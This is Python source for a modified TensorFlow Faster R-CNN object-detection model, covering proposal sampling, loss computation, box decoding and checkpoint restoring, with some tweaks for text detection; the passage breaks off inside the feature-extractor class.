groundtruth_classes_with_background_list: A list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes+1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_weights_list: A list of 1-D tensors of shape [num_boxes] indicating the weight associated with the groundtruth boxes. Returns: proposal_boxes: A float tensor with shape [batch_size, second_stage_batch_size, 4] representing the (potentially zero padded) proposal boxes for all images in the batch. These boxes are represented in absolute coordinates. proposal_scores: A float tensor with shape [batch_size, second_stage_batch_size] representing the (potentially zero padded) proposal objectness scores for all images in the batch. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. """ single_image_proposal_box_sample = [] single_image_proposal_score_sample = [] single_image_num_proposals_sample = [] for (single_image_proposal_boxes, single_image_proposal_scores, single_image_num_proposals, single_image_groundtruth_boxlist, single_image_groundtruth_classes_with_background, single_image_groundtruth_weights) in zip( tf.unstack(proposal_boxes), tf.unstack(proposal_scores), tf.unstack(num_proposals), groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): single_image_boxlist = box_list.BoxList(single_image_proposal_boxes) single_image_boxlist.add_field(fields.BoxListFields.scores, single_image_proposal_scores) sampled_boxlist = self._sample_box_classifier_minibatch_single_image( single_image_boxlist, single_image_num_proposals, single_image_groundtruth_boxlist, single_image_groundtruth_classes_with_background, single_image_groundtruth_weights, debug) # sampled_boxlist.set(tf.Print(sampled_boxlist.get(), [sampled_boxlist.num_boxes()], message="sample size ")) sampled_padded_boxlist = box_list_ops.pad_or_clip_box_list( sampled_boxlist, num_boxes=self._second_stage_batch_size) single_image_num_proposals_sample.append(tf.minimum( sampled_boxlist.num_boxes(), self._second_stage_batch_size)) bb = sampled_padded_boxlist.get() #bb = tf.Print(bb, [single_image_groundtruth_boxlist.num_boxes()], message=("After padding and num of GT" + str(bb.shape))) single_image_proposal_box_sample.append(bb) single_image_proposal_score_sample.append( sampled_padded_boxlist.get_field(fields.BoxListFields.scores)) return (tf.stack(single_image_proposal_box_sample), tf.stack(single_image_proposal_score_sample), tf.stack(single_image_num_proposals_sample)) def _format_groundtruth_data(self, true_image_shapes, stage='detection'): """Helper function for preparing groundtruth data for target assignment. In order to be consistent with the model.DetectionModel interface, groundtruth boxes are specified in normalized coordinates and classes are specified as label indices with no assumed background category. To prepare for target assignment, we: 1) convert boxes to absolute coordinates, 2) add a background class at class index 0 3) groundtruth instance masks, if available, are resized to match image_shape. Args: true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: groundtruth_boxlists: A list of BoxLists containing (absolute) coordinates of the groundtruth boxes. groundtruth_classes_with_background_list: A list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes+1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_masks_list: If present, a list of 3-D tf.float32 tensors of shape [num_boxes, image_height, image_width] containing instance masks. This is set to None if no masks exist in the provided groundtruth. """ groundtruth_boxlists = [ box_list_ops.to_absolute_coordinates( box_list.BoxList(boxes), true_image_shapes[i, 0], true_image_shapes[i, 1]) for i, boxes in enumerate( self.groundtruth_lists(fields.BoxListFields.boxes)) ] groundtruth_classes_with_background_list = [ tf.to_float( tf.pad(one_hot_encoding, [[0, 0], [1, 0]], mode='CONSTANT')) for one_hot_encoding in self.groundtruth_lists( fields.BoxListFields.classes)] groundtruth_masks_list = self._groundtruth_lists.get( fields.BoxListFields.masks) if groundtruth_masks_list is not None: resized_masks_list = [] for mask in groundtruth_masks_list: _, resized_mask, _ = self._image_resizer_fn( # Reuse the given `image_resizer_fn` to resize groundtruth masks. # `mask` tensor for an image is of the shape [num_masks, # image_height, image_width]. Below we create a dummy image of the # the shape [image_height, image_width, 1] to use with # `image_resizer_fn`. image=tf.zeros(tf.stack([tf.shape(mask)[1], tf.shape(mask)[2], 1])), masks=mask) resized_masks_list.append(resized_mask) groundtruth_masks_list = resized_masks_list if self.groundtruth_has_field(fields.BoxListFields.weights): groundtruth_weights_list = self.groundtruth_lists( fields.BoxListFields.weights) else: # Set weights for all batch elements equally to 1.0 groundtruth_weights_list = [] for groundtruth_classes in groundtruth_classes_with_background_list: num_gt = tf.shape(groundtruth_classes)[0] groundtruth_weights = tf.ones(num_gt) groundtruth_weights_list.append(groundtruth_weights) return (groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_masks_list, groundtruth_weights_list) def _sample_box_classifier_minibatch_single_image( self, proposal_boxlist, num_valid_proposals, groundtruth_boxlist, groundtruth_classes_with_background, groundtruth_weights, debug=None): """Samples a mini-batch of proposals to be sent to the box classifier. Helper function for self._postprocess_rpn. Args: proposal_boxlist: A BoxList containing K proposal boxes in absolute coordinates. num_valid_proposals: Number of valid proposals in the proposal boxlist. groundtruth_boxlist: A Boxlist containing N groundtruth object boxes in absolute coordinates. groundtruth_classes_with_background: A tensor with shape `[N, self.num_classes + 1]` representing groundtruth classes. The classes are assumed to be k-hot encoded, and include background as the zero-th class. groundtruth_weights: Weights attached to the groundtruth_boxes. debug: contains (optional) true_image_shape Returns: a BoxList contained sampled proposals. """ (cls_targets, cls_weights, _, _, _) = self._detector_target_assigner.assign( proposal_boxlist, groundtruth_boxlist, groundtruth_classes_with_background, unmatched_class_label=tf.constant( [1] + self._num_classes * [0], dtype=tf.float32), groundtruth_weights=groundtruth_weights) # Selects all boxes as candidates if none of them is selected according # to cls_weights. This could happen as boxes within certain IOU ranges # are ignored. If triggered, the selected boxes will still be ignored # during loss computation. positive_indicator = tf.greater(tf.argmax(cls_targets, axis=1), 0) # Debug target mapping #positive_indicator = tf.Print(positive_indicator, [positive_indicator, box_list_ops.to_normalized_coordinates(groundtruth_boxlist, debug[0], debug[1]).get()], summarize=999999) valid_indicator = tf.logical_and( tf.range(proposal_boxlist.num_boxes()) < num_valid_proposals, cls_weights > 0 ) sampled_indices = self._second_stage_sampler.subsample( valid_indicator, self._second_stage_batch_size, positive_indicator) return box_list_ops.boolean_mask(proposal_boxlist, sampled_indices) def _compute_second_stage_input_feature_maps(self, features_to_crop, proposal_boxes_normalized): """Crops to a set of proposals from the feature map for a batch of images. Helper function for self._postprocess_rpn. This function calls `tf.image.crop_and_resize` to create the feature map to be passed to the second stage box classifier for each proposal. Args: features_to_crop: A float32 tensor with shape [batch_size, height, width, depth] proposal_boxes_normalized: A float32 tensor with shape [batch_size, num_proposals, box_code_size] containing proposal boxes in normalized coordinates. Returns: A float32 tensor with shape [K, new_height, new_width, depth]. """ def get_box_inds(proposals): proposals_shape = proposals.get_shape().as_list() if any(dim is None for dim in proposals_shape): proposals_shape = tf.shape(proposals) ones_mat = tf.ones(proposals_shape[:2], dtype=tf.int32) multiplier = tf.expand_dims( tf.range(start=0, limit=proposals_shape[0]), 1) return tf.reshape(ones_mat * multiplier, [-1]) if self._use_matmul_crop_and_resize: def _single_image_crop_and_resize(inputs): single_image_features_to_crop, proposal_boxes_normalized = inputs return ops.matmul_crop_and_resize( tf.expand_dims(single_image_features_to_crop, 0), proposal_boxes_normalized, [self._initial_crop_size, self._initial_crop_size]) cropped_regions = self._flatten_first_two_dimensions( shape_utils.static_or_dynamic_map_fn( _single_image_crop_and_resize, elems=[features_to_crop, proposal_boxes_normalized], dtype=tf.float32, parallel_iterations=self._parallel_iterations)) else: cropped_regions = tf.image.crop_and_resize( features_to_crop, self._flatten_first_two_dimensions(proposal_boxes_normalized), get_box_inds(proposal_boxes_normalized), (self._initial_crop_size, self._initial_crop_size)) return slim.max_pool2d( cropped_regions, [self._maxpool_kernel_size, self._maxpool_kernel_size], # Michele: Being specific to text, we want to preserve width more than height stride=[self._maxpool_stride, 1]) def _postprocess_box_classifier(self, refined_box_encodings, class_predictions_with_background, proposal_boxes, num_proposals, image_shapes, mask_predictions=None): """Converts predictions from the second stage box classifier to detections. Args: refined_box_encodings: a 3-D float tensor with shape [total_num_padded_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings. If using a shared box across classes the shape will instead be [total_num_padded_proposals, 1, 4] class_predictions_with_background: a 3-D tensor float with shape [total_num_padded_proposals, num_classes + 1] containing class predictions (logits) for each of the proposals. Note that this tensor *includes* background class predictions (at class index 0). proposal_boxes: a 3-D float tensor with shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. num_proposals: a 1-D int32 tensor of shape [batch] representing the number of proposals predicted for each image in the batch. image_shapes: a 2-D int32 tensor containing shapes of input image in the batch. mask_predictions: (optional) a 4-D float tensor with shape [total_num_padded_proposals, num_classes, mask_height, mask_width] containing instance mask prediction logits. Returns: A dictionary containing: `detection_boxes`: [batch, max_detection, 4] `detection_scores`: [batch, max_detections] `detection_classes`: [batch, max_detections] `num_detections`: [batch] `detection_masks`: (optional) [batch, max_detections, mask_height, mask_width]. Note that a pixel-wise sigmoid score converter is applied to the detection masks. """ refined_box_encodings_batch = tf.reshape( refined_box_encodings, [-1, self.max_num_proposals, refined_box_encodings.shape[1], self._box_coder.code_size]) class_predictions_with_background_batch = tf.reshape( class_predictions_with_background, [-1, self.max_num_proposals, self.num_classes + 1] ) refined_decoded_boxes_batch = self._batch_decode_boxes( refined_box_encodings_batch, proposal_boxes) class_predictions_with_background_batch = ( self._second_stage_score_conversion_fn( class_predictions_with_background_batch)) class_predictions_batch = tf.reshape( tf.slice(class_predictions_with_background_batch, [0, 0, 1], [-1, -1, -1]), [-1, self.max_num_proposals, self.num_classes]) clip_window = self._compute_clip_window(image_shapes) mask_predictions_batch = None if mask_predictions is not None: mask_height = mask_predictions.shape[2].value mask_width = mask_predictions.shape[3].value mask_predictions = tf.sigmoid(mask_predictions) mask_predictions_batch = tf.reshape( mask_predictions, [-1, self.max_num_proposals, self.num_classes, mask_height, mask_width]) (nmsed_boxes, nmsed_scores, nmsed_classes, nmsed_masks, _, num_detections) = self._second_stage_nms_fn( refined_decoded_boxes_batch, class_predictions_batch, clip_window=clip_window, change_coordinate_frame=True, num_valid_boxes=num_proposals, masks=mask_predictions_batch) detections = { fields.DetectionResultFields.detection_boxes: nmsed_boxes, fields.DetectionResultFields.detection_scores: nmsed_scores, fields.DetectionResultFields.detection_classes: nmsed_classes, fields.DetectionResultFields.num_detections: tf.to_float(num_detections) } if nmsed_masks is not None: detections[fields.DetectionResultFields.detection_masks] = nmsed_masks return detections def _batch_decode_boxes(self, box_encodings, anchor_boxes): """Decodes box encodings with respect to the anchor boxes. Args: box_encodings: a 4-D tensor with shape [batch_size, num_anchors, num_classes, self._box_coder.code_size] representing box encodings. anchor_boxes: [batch_size, num_anchors, self._box_coder.code_size] representing decoded bounding boxes. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. Returns: decoded_boxes: a [batch_size, num_anchors, num_classes, self._box_coder.code_size] float tensor representing bounding box predictions (for each image in batch, proposal and class). If using a shared box across classes the shape will instead be [batch_size, num_anchors, 1, self._box_coder.code_size]. """ combined_shape = shape_utils.combined_static_and_dynamic_shape( box_encodings) num_classes = combined_shape[2] tiled_anchor_boxes = tf.tile( tf.expand_dims(anchor_boxes, 2), [1, 1, num_classes, 1]) tiled_anchors_boxlist = box_list.BoxList( tf.reshape(tiled_anchor_boxes, [-1, 4])) decoded_boxes = self._box_coder.decode( tf.reshape(box_encodings, [-1, self._box_coder.code_size]), tiled_anchors_boxlist) return tf.reshape(decoded_boxes.get(), tf.stack([combined_shape[0], combined_shape[1], num_classes, 4])) '''def loss(self, prediction_dict, true_image_shapes, scope=None): """Compute scalar loss tensors given prediction tensors. If number_of_stages=1, only RPN related losses are computed (i.e., `rpn_localization_loss` and `rpn_objectness_loss`). Otherwise all losses are computed. Args: prediction_dict: a dictionary holding prediction tensors (see the documentation for the predict method. If number_of_stages=1, we expect prediction_dict to contain `rpn_box_encodings`, `rpn_objectness_predictions_with_background`, `rpn_features_to_crop`, `image_shape`, and `anchors` fields. Otherwise we expect prediction_dict to additionally contain `refined_box_encodings`, `class_predictions_with_background`, `num_proposals`, and `proposal_boxes` fields. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. scope: Optional scope name. Returns: a dictionary mapping loss keys (`first_stage_localization_loss`, `first_stage_objectness_loss`, 'second_stage_localization_loss', 'second_stage_classification_loss') to scalar tensors representing corresponding loss values. """ with tf.name_scope(scope, 'Loss', prediction_dict.values()): (groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_masks_list, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) loss_dict = self._loss_rpn( prediction_dict['rpn_box_encodings'], prediction_dict['rpn_objectness_predictions_with_background'], prediction_dict['anchors'], groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list) if self._number_of_stages > 1: loss_dict.update( self._loss_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, prediction_dict['image_shape'], prediction_dict.get('mask_predictions'), groundtruth_masks_list, )) return loss_dict''' def loss(self, prediction_dict, true_image_shapes, scope=None): """Compute scalar loss tensors given prediction tensors. If number_of_stages=1, only RPN related losses are computed (i.e., `rpn_localization_loss` and `rpn_objectness_loss`). Otherwise all losses are computed. Args: prediction_dict: a dictionary holding prediction tensors (see the documentation for the predict method. If number_of_stages=1, we expect prediction_dict to contain `rpn_box_encodings`, `rpn_objectness_predictions_with_background`, `rpn_features_to_crop`, `image_shape`, and `anchors` fields. Otherwise we expect prediction_dict to additionally contain `refined_box_encodings`, `class_predictions_with_background`, `num_proposals`, and `proposal_boxes` fields. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. scope: Optional scope name. Returns: a dictionary mapping loss keys (`first_stage_localization_loss`, `first_stage_objectness_loss`, 'second_stage_localization_loss', 'second_stage_classification_loss') to scalar tensors representing corresponding loss values. """ with tf.name_scope(scope, 'Loss', prediction_dict.values()): (groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_masks_list, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) '''loss_dict = self._loss_rpn( prediction_dict['rpn_box_encodings'], prediction_dict['rpn_objectness_predictions_with_background'], prediction_dict['anchors'], groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list)''' #if self._number_of_stages > 1: # loss_dict.update( loss_dict = self._loss_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, prediction_dict['image_shape'], prediction_dict.get('mask_predictions'), groundtruth_masks_list, )#) return loss_dict def _loss_rpn(self, rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): """Computes scalar RPN loss tensors. Uses self._proposal_target_assigner to obtain regression and classification targets for the first stage RPN, samples a "minibatch" of anchors to participate in the loss computation, and returns the RPN losses. Args: rpn_box_encodings: A 4-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted proposal box encodings. rpn_objectness_predictions_with_background: A 2-D float tensor of shape [batch_size, num_anchors, 2] containing objectness predictions (logits) for each of the anchors with 0 corresponding to background and 1 corresponding to object. anchors: A 2-D tensor of shape [num_anchors, 4] representing anchors for the first stage RPN. Note that `num_anchors` can differ depending on whether the model is created in training or inference mode. groundtruth_boxlists: A list of BoxLists containing coordinates of the groundtruth boxes. groundtruth_classes_with_background_list: A list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes+1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_weights_list: A list of 1-D tf.float32 tensors of shape [num_boxes] containing weights for groundtruth boxes. Returns: a dictionary mapping loss keys (`first_stage_localization_loss`, `first_stage_objectness_loss`) to scalar tensors representing corresponding loss values. """ with tf.name_scope('RPNLoss'): (batch_cls_targets, batch_cls_weights, batch_reg_targets, batch_reg_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._proposal_target_assigner, anchors_batch=box_list.BoxList(anchors), gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=(len(groundtruth_boxlists) * [None]), gt_weights_batch=groundtruth_weights_list) batch_cls_targets = tf.squeeze(batch_cls_targets, axis=2) def _minibatch_subsample_fn(inputs): cls_targets, cls_weights = inputs return self._first_stage_sampler.subsample( tf.cast(cls_weights, tf.bool), self._first_stage_minibatch_size, tf.cast(cls_targets, tf.bool)) batch_sampled_indices = tf.to_float(shape_utils.static_or_dynamic_map_fn( _minibatch_subsample_fn, [batch_cls_targets, batch_cls_weights], dtype=tf.bool, parallel_iterations=self._parallel_iterations, back_prop=True)) # Normalize by number of examples in sampled minibatch normalizer = tf.reduce_sum(batch_sampled_indices, axis=1) batch_one_hot_targets = tf.one_hot( tf.to_int32(batch_cls_targets), depth=2) sampled_reg_indices = tf.multiply(batch_sampled_indices, batch_reg_weights) localization_losses = self._first_stage_localization_loss( rpn_box_encodings, batch_reg_targets, weights=sampled_reg_indices) objectness_losses = self._first_stage_objectness_loss( rpn_objectness_predictions_with_background, batch_one_hot_targets, weights=batch_sampled_indices) localization_loss = tf.reduce_mean( tf.reduce_sum(localization_losses, axis=1) / normalizer) objectness_loss = tf.reduce_mean( tf.reduce_sum(objectness_losses, axis=1) / normalizer) localization_loss = tf.multiply(self._first_stage_loc_loss_weight, localization_loss, name='localization_loss') objectness_loss = tf.multiply(self._first_stage_obj_loss_weight, objectness_loss, name='objectness_loss') loss_dict = {localization_loss.op.name: localization_loss, objectness_loss.op.name: objectness_loss} return loss_dict def _loss_box_classifier(self, refined_box_encodings, class_predictions_with_background, proposal_boxes, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, image_shape, prediction_masks=None, groundtruth_masks_list=None): """Computes scalar box classifier loss tensors. Uses self._detector_target_assigner to obtain regression and classification targets for the second stage box classifier, optionally performs hard mining, and returns losses. All losses are computed independently for each image and then averaged across the batch. Please note that for boxes and masks with multiple labels, the box regression and mask prediction losses are only computed for one label. This function assumes that the proposal boxes in the "padded" regions are actually zero (and thus should not be matched to). Args: refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, box_coder.code_size] representing predicted (final) refined box encodings. If using a shared box across classes this will instead have shape [total_num_proposals, 1, box_coder.code_size]. class_predictions_with_background: a 2-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). proposal_boxes: [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. groundtruth_boxlists: a list of BoxLists containing coordinates of the groundtruth boxes. groundtruth_classes_with_background_list: a list of 2-D one-hot (or k-hot) tensors of shape [num_boxes, num_classes + 1] containing the class targets with the 0th index assumed to map to the background class. groundtruth_weights_list: A list of 1-D tf.float32 tensors of shape [num_boxes] containing weights for groundtruth boxes. image_shape: a 1-D tensor of shape [4] representing the image shape. prediction_masks: an optional 4-D tensor with shape [total_num_proposals, num_classes, mask_height, mask_width] containing the instance masks for each box. groundtruth_masks_list: an optional list of 3-D tensors of shape [num_boxes, image_height, image_width] containing the instance masks for each of the boxes. Returns: a dictionary mapping loss keys ('second_stage_localization_loss', 'second_stage_classification_loss') to scalar tensors representing corresponding loss values. Raises: ValueError: if `predict_instance_masks` in second_stage_mask_rcnn_box_predictor is True and `groundtruth_masks_list` is not provided. """ with tf.name_scope('BoxClassifierLoss'): paddings_indicator = self._padded_batched_proposals_indicator( num_proposals, self.max_num_proposals) proposal_boxlists = [ box_list.BoxList(proposal_boxes_single_image) for proposal_boxes_single_image in tf.unstack(proposal_boxes)] batch_size = len(proposal_boxlists) num_proposals_or_one = tf.to_float(tf.expand_dims( tf.maximum(num_proposals, tf.ones_like(num_proposals)), 1)) normalizer = tf.tile(num_proposals_or_one, [1, self.max_num_proposals]) * batch_size (batch_cls_targets_with_background, batch_cls_weights, batch_reg_targets, batch_reg_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._detector_target_assigner, anchors_batch=proposal_boxlists, gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=groundtruth_classes_with_background_list, unmatched_class_label=tf.constant( [1] + self._num_classes * [0], dtype=tf.float32), gt_weights_batch=groundtruth_weights_list) class_predictions_with_background = tf.reshape( class_predictions_with_background, [batch_size, self.max_num_proposals, -1]) flat_cls_targets_with_background = tf.reshape( batch_cls_targets_with_background, [batch_size * self.max_num_proposals, -1]) one_hot_flat_cls_targets_with_background = tf.argmax( flat_cls_targets_with_background, axis=1) one_hot_flat_cls_targets_with_background = tf.one_hot( one_hot_flat_cls_targets_with_background, flat_cls_targets_with_background.get_shape()[1]) # If using a shared box across classes use directly if refined_box_encodings.shape[1] == 1: reshaped_refined_box_encodings = tf.reshape( refined_box_encodings, [batch_size, self.max_num_proposals, self._box_coder.code_size]) # For anchors with multiple labels, picks refined_location_encodings # for just one class to avoid over-counting for regression loss and # (optionally) mask loss. else: # We only predict refined location encodings for the non background # classes, but we now pad it to make it compatible with the class # predictions refined_box_encodings_with_background = tf.pad( refined_box_encodings, [[0, 0], [1, 0], [0, 0]]) refined_box_encodings_masked_by_class_targets = tf.boolean_mask( refined_box_encodings_with_background, tf.greater(one_hot_flat_cls_targets_with_background, 0)) reshaped_refined_box_encodings = tf.reshape( refined_box_encodings_masked_by_class_targets, [batch_size, self.max_num_proposals, self._box_coder.code_size]) second_stage_loc_losses = self._second_stage_localization_loss( reshaped_refined_box_encodings, batch_reg_targets, weights=batch_reg_weights) / normalizer second_stage_cls_losses = ops.reduce_sum_trailing_dimensions( self._second_stage_classification_loss( class_predictions_with_background, batch_cls_targets_with_background, weights=batch_cls_weights), ndims=2) / normalizer second_stage_loc_loss = tf.reduce_sum( tf.boolean_mask(second_stage_loc_losses, paddings_indicator)) second_stage_cls_loss = tf.reduce_sum( tf.boolean_mask(second_stage_cls_losses, paddings_indicator)) if self._hard_example_miner: (second_stage_loc_loss, second_stage_cls_loss ) = self._unpad_proposals_and_apply_hard_mining( proposal_boxlists, second_stage_loc_losses, second_stage_cls_losses, num_proposals) localization_loss = tf.multiply(self._second_stage_loc_loss_weight, second_stage_loc_loss, name='localization_loss') classification_loss = tf.multiply(self._second_stage_cls_loss_weight, second_stage_cls_loss, name='classification_loss') loss_dict = {localization_loss.op.name: localization_loss, classification_loss.op.name: classification_loss} second_stage_mask_loss = None if prediction_masks is not None: if groundtruth_masks_list is None: raise ValueError('Groundtruth instance masks not provided. ' 'Please configure input reader.') unmatched_mask_label = tf.zeros(image_shape[1:3], dtype=tf.float32) (batch_mask_targets, _, _, batch_mask_target_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._detector_target_assigner, anchors_batch=proposal_boxlists, gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=groundtruth_masks_list, unmatched_class_label=unmatched_mask_label, gt_weights_batch=groundtruth_weights_list) # Pad the prediction_masks with to add zeros for background class to be # consistent with class predictions. if prediction_masks.get_shape().as_list()[1] == 1: # Class agnostic masks or masks for one-class prediction. Logic for # both cases is the same since background predictions are ignored # through the batch_mask_target_weights. prediction_masks_masked_by_class_targets = prediction_masks else: prediction_masks_with_background = tf.pad( prediction_masks, [[0, 0], [1, 0], [0, 0], [0, 0]]) prediction_masks_masked_by_class_targets = tf.boolean_mask( prediction_masks_with_background, tf.greater(one_hot_flat_cls_targets_with_background, 0)) mask_height = prediction_masks.shape[2].value mask_width = prediction_masks.shape[3].value reshaped_prediction_masks = tf.reshape( prediction_masks_masked_by_class_targets, [batch_size, -1, mask_height * mask_width]) batch_mask_targets_shape = tf.shape(batch_mask_targets) flat_gt_masks = tf.reshape(batch_mask_targets, [-1, batch_mask_targets_shape[2], batch_mask_targets_shape[3]]) # Use normalized proposals to crop mask targets from image masks. flat_normalized_proposals = box_list_ops.to_normalized_coordinates( box_list.BoxList(tf.reshape(proposal_boxes, [-1, 4])), image_shape[1], image_shape[2]).get() flat_cropped_gt_mask = tf.image.crop_and_resize( tf.expand_dims(flat_gt_masks, -1), flat_normalized_proposals, tf.range(flat_normalized_proposals.shape[0].value), [mask_height, mask_width]) batch_cropped_gt_mask = tf.reshape( flat_cropped_gt_mask, [batch_size, -1, mask_height * mask_width]) second_stage_mask_losses = ops.reduce_sum_trailing_dimensions( self._second_stage_mask_loss( reshaped_prediction_masks, batch_cropped_gt_mask, weights=batch_mask_target_weights), ndims=2) / ( mask_height * mask_width * tf.maximum( tf.reduce_sum( batch_mask_target_weights, axis=1, keep_dims=True ), tf.ones((batch_size, 1)))) second_stage_mask_loss = tf.reduce_sum( tf.boolean_mask(second_stage_mask_losses, paddings_indicator)) if second_stage_mask_loss is not None: mask_loss = tf.multiply(self._second_stage_mask_loss_weight, second_stage_mask_loss, name='mask_loss') loss_dict[mask_loss.op.name] = mask_loss return loss_dict def _padded_batched_proposals_indicator(self, num_proposals, max_num_proposals): """Creates indicator matrix of non-pad elements of padded batch proposals. Args: num_proposals: Tensor of type tf.int32 with shape [batch_size]. max_num_proposals: Maximum number of proposals per image (integer). Returns: A Tensor of type tf.bool with shape [batch_size, max_num_proposals]. """ batch_size = tf.size(num_proposals) tiled_num_proposals = tf.tile( tf.expand_dims(num_proposals, 1), [1, max_num_proposals]) tiled_proposal_index = tf.tile( tf.expand_dims(tf.range(max_num_proposals), 0), [batch_size, 1]) return tf.greater(tiled_num_proposals, tiled_proposal_index) def _unpad_proposals_and_apply_hard_mining(self, proposal_boxlists, second_stage_loc_losses, second_stage_cls_losses, num_proposals): """Unpads proposals and applies hard mining. Args: proposal_boxlists: A list of `batch_size` BoxLists each representing `self.max_num_proposals` representing decoded proposal bounding boxes for each image. second_stage_loc_losses: A Tensor of type `float32`. A tensor of shape `[batch_size, self.max_num_proposals]` representing per-anchor second stage localization loss values. second_stage_cls_losses: A Tensor of type `float32`. A tensor of shape `[batch_size, self.max_num_proposals]` representing per-anchor second stage classification loss values. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. Returns: second_stage_loc_loss: A scalar float32 tensor representing the second stage localization loss. second_stage_cls_loss: A scalar float32 tensor representing the second stage classification loss. """ for (proposal_boxlist, single_image_loc_loss, single_image_cls_loss, single_image_num_proposals) in zip( proposal_boxlists, tf.unstack(second_stage_loc_losses), tf.unstack(second_stage_cls_losses), tf.unstack(num_proposals)): proposal_boxlist = box_list.BoxList( tf.slice(proposal_boxlist.get(), [0, 0], [single_image_num_proposals, -1])) single_image_loc_loss = tf.slice(single_image_loc_loss, [0], [single_image_num_proposals]) single_image_cls_loss = tf.slice(single_image_cls_loss, [0], [single_image_num_proposals]) return self._hard_example_miner( location_losses=tf.expand_dims(single_image_loc_loss, 0), cls_losses=tf.expand_dims(single_image_cls_loss, 0), decoded_boxlist_list=[proposal_boxlist]) def restore_map(self, fine_tune_checkpoint_type='detection', load_all_detection_checkpoint_vars=False): """Returns a map of variables to load from a foreign checkpoint. See parent class for details. Args: fine_tune_checkpoint_type: whether to restore from a full detection checkpoint (with compatible variable names) or to restore from a classification checkpoint for initialization prior to training. Valid values: `detection`, `classification`. Default 'detection'. load_all_detection_checkpoint_vars: whether to load all variables (when `fine_tune_checkpoint_type` is `detection`). If False, only variables within the feature extractor scopes are included. Default False. Returns: A dict mapping variable names (to load from a checkpoint) to variables in the model graph. Raises: ValueError: if fine_tune_checkpoint_type is neither `classification` nor `detection`. """ if fine_tune_checkpoint_type not in ['detection', 'classification']: raise ValueError('Not supported fine_tune_checkpoint_type: {}'.format( fine_tune_checkpoint_type)) if fine_tune_checkpoint_type == 'classification': return self._feature_extractor.restore_from_classification_checkpoint_fn( self.first_stage_feature_extractor_scope, self.second_stage_feature_extractor_scope) variables_to_restore = tf.global_variables() variables_to_restore.append(slim.get_or_create_global_step()) # Only load feature extractor variables to be consistent with loading from # a classification checkpoint. include_patterns = None if not load_all_detection_checkpoint_vars: include_patterns = [ self.first_stage_feature_extractor_scope, self.second_stage_feature_extractor_scope ] feature_extractor_variables = tf.contrib.framework.filter_variables( variables_to_restore, include_patterns=include_patterns) return {var.op.name: var for var in feature_extractor_variables}

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from abc import abstractmethod from functools import partial import tensorflow as tf import json import numpy as np from object_detection.anchor_generators import grid_anchor_generator from object_detection.builders import box_predictor_builder from object_detection.core import box_list from object_detection.core import box_list_ops from object_detection.core import box_predictor from object_detection.core import losses from object_detection.core import model from object_detection.core import post_processing from object_detection.core import standard_fields as fields from object_detection.core import target_assigner from object_detection.utils import ops from object_detection.utils import shape_utils import sys sys.path.append("/notebooks/text-renderer/") import data_util slim = tf.contrib.slim class FasterRCNNFeatureExtractor(object): def __init__(self, is_training, first_stage_features_stride, batch_norm_trainable=False, reuse_weights=None, weight_decay=0.0): self._is_training = is_training self._first_stage_features_stride = first_stage_features_stride self._train_batch_norm = (batch_norm_trainable and is_training) self._reuse_weights = reuse_weights self._weight_decay = weight_decay @abstractmethod def preprocess(self, resized_inputs): pass def extract_proposal_features(self, preprocessed_inputs, scope): with tf.variable_scope(scope, values=[preprocessed_inputs]): return self._extract_proposal_features(preprocessed_inputs, scope) @abstractmethod def _extract_proposal_features(self, preprocessed_inputs, scope): pass def extract_box_classifier_features(self, proposal_feature_maps, scope): with tf.variable_scope( scope, values=[proposal_feature_maps], reuse=tf.AUTO_REUSE): return self._extract_box_classifier_features(proposal_feature_maps, scope) @abstractmethod def _extract_box_classifier_features(self, proposal_feature_maps, scope): pass def restore_from_classification_checkpoint_fn( self, first_stage_feature_extractor_scope, 